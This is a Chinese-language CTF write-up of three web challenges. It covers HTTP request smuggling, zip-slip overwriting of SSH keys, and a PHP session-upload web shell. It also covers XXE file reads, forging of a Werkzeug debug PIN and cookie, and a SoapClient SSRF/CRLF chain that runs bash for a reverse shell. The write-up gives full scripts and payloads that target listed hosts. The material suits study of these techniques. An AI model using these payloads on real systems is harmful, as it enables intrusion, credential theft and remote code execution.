ezcheck1n
关注到这里海报是2022的
访问这个图片的路径,不能拼接在2023之后
路径加上2023的话,防问啥都会rewrite到2023.php,肯定是写了配置的
这种配置的绕过最常见的思路就是走私:https://xz.aliyun.com/t/12345
直接搬里面的脚本了,稍微改下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
import urllib
from pwn import *
def request_prepare():
uri = b'/2023/2023.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aUser-Agent:%20curl/7.68.0%0d%0a%0d%0a' + b'POST%20/2022.php%3Furl%3Dxx%2Exx%2Exx%2Exx%3A8899'
req = b'''GET %b HTTP/1.1\r
Host: 127.0.0.1:80\r
\r
''' % uri
return req
def send_and_recive(req):
rec = b''
ip = '115.239.215.75'
port = 8082
p = remote(ip, int(port))
p.send(req)
rec += p.recv()
print(rec.decode())
p.close()
return rec.decode()
req = request_prepare()
print(req)
# print(urllib.parse.unquote(req.decode()))
f = open('req.txt', 'wb')
f.write(req)
f.close()
res = send_and_recive(req)
f = open('res.txt', 'wb')
f.write(res.encode())
f.close()
|
SycServer
bin文件跑起来是有路由的,根据名字也很好猜
File-unarchiver路由可传zip后解压,这里测试是发现可以目录穿越的
1
2
3
4
5
6
7
8
9
10
|
import requests
import zipfile
z = zipfile.ZipFile(f'test.zip', 'w', zipfile.ZIP_DEFLATED)
z.writestr(f'../../../test.txt', b'qwe')
z.close()
url = 'http://x.x.x.x:8888/file-unarchiver'
files = [('file', ('test.tar.gz', open('test.zip', 'rb'), 'application/zip'))]
resp = requests.post(url, files=files)
|
fileread路由读文件没啥好说的
readir这个我倒是一直没用上,主要因为他好像确实用不了。。
最后的admin路由,直接跑会说找不到/home/vanzy/.ssh/id_rsa
给服务器加个vanzy用户配置下公私钥,再跑admin路由会发现这里dial本地的2221端口连接失败了
所以可以肯定这个路由是读取本地的私钥去认证本地的ssh服务
所以这里攻击的思路也清晰了,就是覆盖vanzy用户的公私钥,公钥中写入command,然后访问admin路由去触发ssh连接执行command
我的做法是vps上adduser 一个vanzy,ssh-keygen -t rsa
修改id_rsa.pub,添加command后,脚本一把嗦
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
import requests
import zipfile
import os
def fuck_priv():
z = zipfile.ZipFile(f'priv.zip', 'w', zipfile.ZIP_DEFLATED)
private_key = open('./id_rsa', 'rb').read()
z.writestr(f'../../../../../home/vanzy/.ssh/id_rsa', private_key)
z.close()
files = [('file', ('priv.zip', open('priv.zip', 'rb'), 'application/zip'))]
resp = requests.post(url, files=files)
def fuck_pub():
z = zipfile.ZipFile(f'pub.zip', 'w', zipfile.ZIP_DEFLATED)
public_key = open('./id_rsa.pub', 'rb').read()
z.writestr(f'../../../../../home/vanzy/.ssh/authorized_keys', public_key)
z.close()
files = [('file', ('pub.zip', open('pub.zip', 'rb'), 'application/zip'))]
resp = requests.post(url, files=files)
url = 'http://119.13.91.238:8888/file-unarchiver'
fuck_priv()
fuck_pub()
url2 = 'http://119.13.91.238:8888/admin'
resp_2 = requests.get(url2)
url1 = 'http://119.13.91.238:8888/readfile?file=/home/vanzy/huamang.txt'
resp_1 = requests.get(url1)
print(resp_1.text)
os.system('rm -rf priv.zip')
os.system('rm -rf pub.zip')
|
pypyp?
很折磨的一道题
一进去啥都没有,就说session不存在,所以这里的解决方案是直接session_upload
https://xz.aliyun.com/t/9545
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
POST /index.php HTTP/1.1
Host: 115.239.215.75:8081
Content-Length: 360
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymEq0o60RkRmbFHie
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: PHPSESSID=huamang
Referer: http://115.239.215.75:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
------WebKitFormBoundarymEq0o60RkRmbFHie
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
123
------WebKitFormBoundarymEq0o60RkRmbFHie
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
<?php @eval($_POST['pass']);?>
------WebKitFormBoundarymEq0o60RkRmbFHie--
|
发包后得到源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
error_reporting(0);
if(!isset($_SESSION)){
die('Session not started');
}
highlight_file(__FILE__);
$type = $_SESSION['type'];
$properties = $_SESSION['properties'];
echo urlencode($_POST['data']);
extract(unserialize($_POST['data']));
if(is_string($properties)&&unserialize(urldecode($properties))){
$object = unserialize(urldecode($properties));
$object -> sctf();
exit();
} else if(is_array($properties)){
$object = new $type($properties[0],$properties[1]);
} else {
$object = file_get_contents('http://127.0.0.1:5000/'.$properties);
}
echo "this is the object: $object <br>";
?>
|
看到http://127.0.0.1:5000/条件反射了,国赛刚出了这种
先看前面,利用extract 变量覆盖掉 type 和 properties,完成原生类反序列化
用SimpleXMLElement进行文件读取
1
2
3
4
5
|
<?php
$class = 'SimpleXMLElement';
$evilxml = '<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY file SYSTEM "file:///etc/passwd">]><xxe>&file;</xxe>';
$arr = array('properties' => array($evilxml, '2'),'type'=>$class);
echo serialize($arr);
|
读/app/app.py,看到这个我只能说——典!
1
2
3
4
5
6
7
8
9
10
|
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return 'Hello World!'
if __name__ == '__main__':
app.run(host="0.0.0.0",debug=True)q
|
开了debug,两条路,一个覆盖一个算pin
这里注意到,会调用任意类的call方法
1
2
3
4
|
if(is_string($properties)&&unserialize(urldecode($properties))){
$object = unserialize(urldecode($properties));
$object -> sctf();
exit();
|
覆盖暂时没找到原生类的call方法可以覆盖写文件的,而有个原生类的call是经常用:SoapClient
可以用他的ssrf和crlf打组合拳,这样我们就可以把cookie塞入
本地测试了下确实可以的crlf
接下里就是伪造cookie了本地抓包看到cookie的格式
代码执行的包
有三个注意点
时间戳不影响使用
1
|
__wzddaa5b8d4dbffc03511fb=1687108743|3cf629099dfb
|
这里直接去翻flask的源码,这里他的cookie、pin的生成是利用了werkzeug
,定位到代码里
注意最好是拉个python3.8的环境,我本以为我本机3.9环境算法会和3.8一样,但是事实证明有区别,这个坑踩了好久没排掉 :(
首先是pin码和cookiename的计算:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
def get_pin_and_cookie_name(
app: WSGIApplication,
) -> tuple[str, str] | tuple[None, None]:
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None
if pin == "off":
return None, None
if pin is not None and pin.replace("-", "").isdecimal():
if "-" in pin:
rv = pin
else:
num = pin
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: str | None
try:
username = getpass.getuser()
except (ImportError, KeyError):
username = None
mod = sys.modules.get(modname)
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]
private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
|
得到了pin以后可以计算cookie,代码简化一下
1
2
3
4
5
6
7
8
9
10
11
12
13
|
def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
...
...
if auth:
rv.set_cookie(
self.pin_cookie_name,
f"{int(time.time())}|{hash_pin(pin)}",
httponly=True,
samesite="Strict",
secure=request.is_secure,
)
|
这样就串联起来了,这里有点小坑点,就是phthon库的位置得确定一下
然后读文件
1
2
3
4
5
6
7
8
|
a:2:{s:10:"properties";a:2:{i:0;s:114:"<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY file SYSTEM "file:///sys/class/net/eth0/address">]><xxe>&file;</xxe>";i:1;s:1:"2";}s:4:"type";s:16:"SimpleXMLElement";}
02:42:ac:13:00:02 -> 2485378023426
a:2:{s:10:"properties";a:2:{i:0;s:118:"<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY file SYSTEM "file:///proc/sys/kernel/random/boot_id">]><xxe>&file;</xxe>";i:1;s:1:"2";}s:4:"type";s:16:"SimpleXMLElement";}
349b3354-f67f-4438-b395-4fbc01171fdd
a:2:{s:10:"properties";a:2:{i:0;s:104:"<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY file SYSTEM "file:///proc/self/cgroup">]><xxe>&file;</xxe>";i:1;s:1:"2";}s:4:"type";s:16:"SimpleXMLElement";}
96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
|
整合一下脚本就是
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'app',
'flask.app',
'Flask',
'/usr/lib/python3.8/site-packages/flask/app.py'
]
private_bits = [
'2485378023426',
'349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(hashlib.sha1(f"{rv} added salt".encode("utf-8", "replace")).hexdigest()[:12])
print(cookie_name)
print(rv)
|
最后打SSRF+CRLF即可
这里也有坑点,payload中不能有url编码,不然php这里不能反序列化,很难受,而payload也不能有空格,不然flask那边会报400
最后poc
1
2
3
4
5
6
7
8
|
<?php
$class = serialize(new SoapClient(null, array(
'location' => 'http://127.0.0.1:5000/console?__debugger__=yes&cmd=__import__("os").popen("echo${IFS}\"base64数据\"|base64${IFS}-d|bash").read()&frm=0&s=DhOJxtvMXCtezvKtqaK9',
'user_agent'=>"Huamang\r\nCookie: __wzdb2a60e2b19822632a67c=1687308743|11b8517fb9fb",
'uri' => "http://127.0.0.1:5000/")));
$arr = array('properties' => $class );
$payload = serialize($arr);
echo $payload;
|
反弹shell到手后需要提权,简单suid即可